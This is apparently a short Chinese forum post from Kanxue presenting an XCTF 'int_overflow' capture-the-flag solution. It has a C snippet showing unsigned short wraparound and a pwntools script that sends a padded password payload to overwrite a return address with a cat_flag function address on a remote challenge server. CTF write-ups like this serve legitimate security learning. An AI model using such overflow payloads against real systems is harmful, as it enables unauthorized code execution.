其他
经典整数溢出漏洞示例 XCTF int_overflow
int main()
{
unsigned short int var1 = 1, var2 = 65537;
if (var1 == var2)
{
printf("溢出");
}
return 0;
}
io = remote("111.198.29.45", 47271)
cat_flag_addr = 0x0804868B
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "kk")
io.recvuntil("your passwd:")
payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)+"a"*234
io.sendline(payload)
io.recv()
io.interactive()
看雪ID:IS信息
https://bbs.pediy.com/user-794232.htm
推荐文章++++
* Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory
进阶安全圈,不得不读的一本书